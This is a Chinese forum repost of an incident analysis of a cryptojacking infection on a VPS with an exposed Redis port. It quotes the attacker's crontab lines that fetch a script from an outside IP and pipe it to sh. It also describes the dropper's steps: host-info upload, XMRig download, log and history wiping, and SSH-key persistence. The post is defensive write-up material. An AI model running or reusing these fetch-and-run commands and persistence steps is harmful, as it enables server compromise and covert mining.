当前位置:论坛首页 > Linux面板 > 建议

区块链太火,小心你的服务器被动挖矿

发表在 Linux面板2018-4-17 11:29 [复制链接] 0 2178

区块链太火,小心你的服务器被动挖矿
原文:https://dbarobin.com/2018/03/08/blockchain-crack-mining/ 文/温国兵
0x00背景
某日,笔者收到VPS服务器CPU告警,上服务器一看,有个叫做gpg-agentd的进程占用大量的CPU资源。 。当排查到crontab时,发现crontab有如下的任务:
*/5 * * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh*/5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh

该服务器提供Redis资源供笔者测试使用,明显上面两个定时任务不是笔者创建的。定时任务访问外网服务器,紧急处理有三点,一是确认其他服务是否受到影响,二是注释定时任务,三是临时断外网,处理完之后,再来排查原因。
题图来自:©kisspng.com / Anonymous Guy Fawkes面具Gunpowder Plot / kisspng.com
0x01挖矿脚本分析
笔者把该脚本脚本下载到本地,然后进行分析。该脚本包含以下函数:
  • 我杀你
  • 下载
  • 信息
  • 科雷
  • 清洁
  • 在里面
  • ITABLE
我们逐个分析 .IKILLYOU函数会杀掉ssuspsplk和gpg-agentd进程.CRON函数会将文首的两个crontab写入到/tmp/.bla.cron文件,接着清空用户的crontab,然后将/ tmp /。 bla.cron文件载入到crontab.FIRE函数删除掉6379端口相关的防火墙,允许本地连接,同时将防火墙配置持久化.INFO函数用于收集主机信息,包含当前服务器进程,服务器硬件属性,系统内核版本,Linux发行版本,Linux发行的详细信息,Linux标准规范信息,crondb文件的帮助信息(下文还会详细说明这个文件的作用),最后将以上信息上传到84.73.251.157指定目录。
接下来我们看下载函数。该函数从84.73.251.157下载crondb和c.j文件,放到本地的/ tmp目录。接下来执行关键的一步,/ tmp / crondb -c / tmp / cj -B。
我们将crondb文件和cj放到本地,对这个两个文件进行分析。
上文提到INFO函数将获取crondb文件的帮助信息。我们来执行INFO函数的语句。
./crondb --helpUsage: xmrig [OPTIONS]Options:  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite  -o, --url=URL            URL of mining server  -O, --userpass=U       username:password pair for mining server  -u, --user=USERNAME      username for mining server  -p, --pass=PASSWORD      password for mining server  -t, --threads=N          number of miner threads  -v, --av=N               algorithm variation, 0 auto select  -k, --keepalive          send keepalived for prevent timeout (need pool support)  -r, --retries=N          number of times to retry before switch to backup server (default: 5)  -R, --retry-pause=N      time to pause between retries (default: 5)      --cpu-affinity       set process affinity to CPU core(s), mask 0x3 for cores 0 and 1      --cpu-priority       set process priority (0 idle, 2 normal to 5 highest)      --no-huge-pages      disable huge pages support      --no-color           disable colored output      --donate-level=N     donate level, default 5% (5 minutes in 100 minutes)      --user-agent         set custom user-agent string for pool  -B, --background         run the miner in the background  -c, --config=FILE        load a JSON-format configuration file  -l, --log-file=FILE      log all output to a file  -S, --syslog             use system log for output messages      --max-cpu-usage=N    maximum CPU usage for automatic threads mode (default 75)      --safe               safe adjust threads and av settings for current CPU      --nicehash           enable nicehash/xmrig-proxy support      --print-time=N       print hashrate report every N seconds      --api-port=N         port for the miner API      --api-access-token=T access token for API      --api-worker-id=ID   custom worker-id for API  -h, --help               display this help and exit  -V, --version            output version information and exit

看到使用这一步,再去GitHub项目搜索,我们可以得知xmrig是用于Monero(XMR)CPU挖矿的。接下来我们看下cj文件,从/ tmp / crondb -c / tmp / cj -B得知。-c参数表示配置文件,-B表示后台运行。也就是说cj是一个配置文件。我们打开cj文件,看到关键的pool配置,可以得知user配置如下:
423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK
我们推测这是个个Monero(XMR)钱包。
我们把crondb上传到virscan.org,分析得出,详细的报告点击这里,其中ikarus标记为PUA.CoinMiner,qh360标记为Win32 / Virus.DoS.dc1,上升标记为Trojan.Linux.XMR-Miner。这也印证了这是个用于挖矿的可执行文件。
我们接着分析接下来就是一些毁灭性的工作:
  • 清空/ var / log / wtmp
  • 清空/ var / log / secure
  • 清空历史执行命令
  • 修改包含linuxsyn,clay,udevs,psql,smartd,redisscan.sh,ebscan.sh,gpg-agent,gpg-agentd,kethelper文件的权限为0644
  • 清空/ tmp / unixinfect / imworking文件
CLEAN函数也是一个毁灭性的函数。首先会修改/etc/security/limits.conf和/etc/sysctl.conf系统配置文件。加入如下配置:
* soft memlock 262144* hard memlock 262144vm.nr_hugepages = 256

接下来删除RMLIST列表的文件,杀掉KILIST列表的进程.KILIST里有些什么呢?也是挖矿的钱包地址或者相关的进程。这位哥们只想自己获利,不关心兄弟的死活,呵呵。接下来执行疯狂的杀,也是挖矿钱包地址或者相关的进程,不过这个列表就有点多了,在此不赘述。
我们继续分析.INIT函数修改nr_hugepages内核配置,ITABLE函数删除掉掉6379端口相关的防火墙,允许本地连接,接下来CRON函数跟上文所描述的功能一致,在此不赘述。
最后做了脚本优化,如果发现没有/ tmp / crondb和/ tmp / cj文件,继续下载。如果你的系统GLIBC版本不满足它的需求,还会帮你升级,加载到LD_LIBRARY_PATH。接着将他自己的key写入到authorized_keys文件,这样它可以免密码陆,方便后续的操作。最后再清空/ var / log / wtmp,清空/ var / log / secure,清空历史执行命令。
由于Monero(XMR)不可追溯性,读者无法通过钱包地址追溯交易记录,也就是说我们无从得知黑客从中获益多少。
0x02服务器被黑分析
分析到这里,我们对挖矿过程过程比较清楚了。但问题是,服务器为什么会被黑呢?
从刚才的分析得知,该脚本会处理6379端口,6379端口是我们熟知的Redis端口.Redis作者antirez很早之前写过一篇文章:关于Redis安全的几件事,文中提到未授权访问漏洞,具体的漏洞可以参考这篇文章。
由于VPS服务器Redis端口没有添加密码,防火墙虽然开启,但防火墙开放权限过大,导致黑客时机攻击。具体操作流程是怎么样的呢?
第一,扫描到该VPS IP存在6379 Redis端口,尝试无密码登陆。
(因宝塔论坛字数限制,不能发出全部文章,请自行到原文查看。同时也给大家、宝塔升级做参考)

使用道具 举报 只看该作者 回复
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

企业版年付运维跟进群

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急问题处理

论坛响应时间:10分钟

问题处理方式:1对1处理(优先)

工作时间:白班:9:00 - 18:00

工作时间:晚班:18:00 - 24:00

立即付费处理

工作时间:09:00至24:00

快速回复 返回顶部 返回列表